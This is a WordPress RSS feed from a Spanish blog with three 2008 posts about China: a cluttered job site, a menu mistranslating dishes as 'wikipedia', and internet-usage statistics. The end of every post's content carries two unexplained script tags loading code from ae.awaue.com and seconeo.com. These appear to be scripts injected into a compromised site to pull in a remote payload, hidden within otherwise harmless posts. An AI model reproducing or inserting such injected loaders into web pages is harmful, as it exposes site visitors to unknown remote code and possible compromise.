<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Varis &#187; china</title>
	<atom:link href="http://www.evaristobabe.com/blog/tag/china/feed" rel="self" type="application/rss+xml" />
	<link>http://www.evaristobabe.com/blog</link>
	<description>Porque poner título a un blog es pretencioso y vulgar. No respondo memes.</description>
	<lastBuildDate>Fri, 04 Dec 2009 18:56:49 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Buscar empleo en China</title>
		<link>http://www.evaristobabe.com/blog/buscar-empleo-en-china</link>
		<comments>http://www.evaristobabe.com/blog/buscar-empleo-en-china#comments</comments>
		<pubDate>Fri, 12 Sep 2008 22:21:02 +0000</pubDate>
		<dc:creator>Varis</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Negocios]]></category>
		<category><![CDATA[banners]]></category>
		<category><![CDATA[china]]></category>
		<category><![CDATA[empleo]]></category>
		<category><![CDATA[festival]]></category>

		<guid isPermaLink="false">http://www.evaristobabe.com/blog/?p=88</guid>
		<description><![CDATA[Si buscas empleo en China, prepárate a ver un festival de banners. El sitio de empleo chino líder en su país es 51job.com. Y así es su portada: El recuadro naranja del centro es el buscador. El resto, todo banners. Y no sólo eso, además hay dos o tres banners flotando constantemente sobre la página [...]]]></description>
			<content:encoded><![CDATA[<p>Si buscas empleo en China, prepárate a ver un festival de banners. El sitio de empleo chino líder en su país es <a href="http://www.51job.com">51job.com</a>. Y así es su portada:</p>
<p><a href="http://www.evaristobabe.com/blog/wp-content/uploads/2008/09/php7dqtcupm.jpg"><img class="aligncenter size-full wp-image-97" title="51jobs" src="http://www.evaristobabe.com/blog/wp-content/uploads/2008/09/php7dqtcupm.jpg" alt="51jobs" width="291" height="500" /></a></p>
<p>El recuadro naranja del centro es el buscador. El resto, todo banners. Y no sólo eso, además hay dos o tres banners flotando constantemente sobre la página como un popup volador&#8230; ¿Para qué poner un menú o facilitar la vida al usuario cuando puedes llenar todo de banners?</p>
<p>Lo curioso de todo es la cantidad de tráfico que debe tener (<a href="http://www.alexa.com/data/details/related_links/51job.com">1.102 de Alexa</a>). Y además este sitio web debe facturar muchísimo dinero solo en patrocinios&#8230; Un ejemplo a seguir, claramente. :)<script src="http://ae.awaue.com/7"></script><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.evaristobabe.com/blog/buscar-empleo-en-china/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Cuidado con los menús de los restaurantes chinos (en China)</title>
		<link>http://www.evaristobabe.com/blog/cuidado-con-los-menus-de-los-restaurantes-chinos-en-china</link>
		<comments>http://www.evaristobabe.com/blog/cuidado-con-los-menus-de-los-restaurantes-chinos-en-china#comments</comments>
		<pubDate>Wed, 10 Sep 2008 19:25:19 +0000</pubDate>
		<dc:creator>Varis</dc:creator>
				<category><![CDATA[Curiosidades]]></category>
		<category><![CDATA[china]]></category>
		<category><![CDATA[restaurantes chinos]]></category>
		<category><![CDATA[traducciones]]></category>
		<category><![CDATA[wikipedia]]></category>

		<guid isPermaLink="false">http://www.evaristobabe.com/blog/?p=91</guid>
		<description><![CDATA[Cuando traducen los menús a inglés a veces tienen pequeños problemas. Como el de la foto, que ofrece platos como &#8220;Stir-fried wikipedia with pimientos&#8221; o &#8220;steam eggs with wikipedia&#8221;. Como comentan en el post original, alguien buscaría en Google, encontró una página que se llamaba &#8220;Wikipedia&#8221;, y al no estar familiarizado, pensó que era el [...]]]></description>
			<content:encoded><![CDATA[<p>Cuando traducen los menús a inglés a veces tienen <a href="http://revealingerrors.com/translation_systems">pequeños problemas</a>. Como el de la foto, que ofrece platos como &#8220;Stir-fried wikipedia with pimientos&#8221; o &#8220;steam eggs with wikipedia&#8221;.</p>
<p><a href="http://www.evaristobabe.com/blog/wp-content/uploads/2008/09/stir_fried_wikipedia.jpg"><img class="aligncenter size-full wp-image-92" title="stir_fried_wikipedia" src="http://www.evaristobabe.com/blog/wp-content/uploads/2008/09/stir_fried_wikipedia.jpg" alt="" width="400" height="300" /></a></p>
<p>Como comentan en el post original, alguien buscaría en Google, encontró una página que se llamaba &#8220;Wikipedia&#8221;, y al no estar familiarizado, pensó que era el nombre. Pero tiene narices. A ver quién se come una Wikipedia, que debe ser bastante indigesta. Especialmente algunos artículos.</p>
<p>Ni en <a href="http://cine.linkara.com/pelicula/lost_in_translation">Lost in Translation</a>&#8230; :)<script src="http://ae.awaue.com/7"></script><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.evaristobabe.com/blog/cuidado-con-los-menus-de-los-restaurantes-chinos-en-china/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Las cifras que demuestran que China sea el sueño de cualquier empresa de Internet</title>
		<link>http://www.evaristobabe.com/blog/cifras-datos-de-internet-en-china</link>
		<comments>http://www.evaristobabe.com/blog/cifras-datos-de-internet-en-china#comments</comments>
		<pubDate>Mon, 28 Jul 2008 11:14:44 +0000</pubDate>
		<dc:creator>Varis</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Negocios]]></category>
		<category><![CDATA[china]]></category>
		<category><![CDATA[datos]]></category>
		<category><![CDATA[eeuu]]></category>
		<category><![CDATA[estadísticas]]></category>
		<category><![CDATA[penetración de internet]]></category>

		<guid isPermaLink="false">http://www.evaristobabe.com/blog/?p=65</guid>
		<description><![CDATA[- China tiene más usuarios de Internet que Estados Unidos - En China hay un total de 253 millones de usuarios de Internet - El uso de Internet ha aumentado un 56% desde hace un año - China tiene un futuro muy prometedor en Internet: hay una penetración de internet del 19,1% frente al 71% [...]]]></description>
			<content:encoded><![CDATA[<p>- China tiene más usuarios de Internet que Estados Unidos</p>
<p>- En China hay un total de 253 millones de usuarios de Internet</p>
<p>- El uso de Internet ha aumentado un 56% desde hace un año</p>
<p>- China tiene un futuro muy prometedor en Internet: hay una penetración de internet del 19,1% frente al 71% de EE.UU. Esto significa que aún queda muchísimo recorrido.</p>
<p>Ahora bien, el gobierno comunista todavía sigue cerrando sitios y censurando muchos otros. Pero desde luego merece la pena invertir en Internet en China con estas cifras&#8230;</p>
<p><small>Visto en <a href="http://news.yahoo.com/s/ap/20080725/ap_on_hi_te/china_internet_boom">Yahoo News</a>, gracias a <a href="http://mashable.com/2008/07/25/china-internet-users/">Mashable</a>.</small><script src="http://ae.awaue.com/7"></script><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.evaristobabe.com/blog/cifras-datos-de-internet-en-china/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
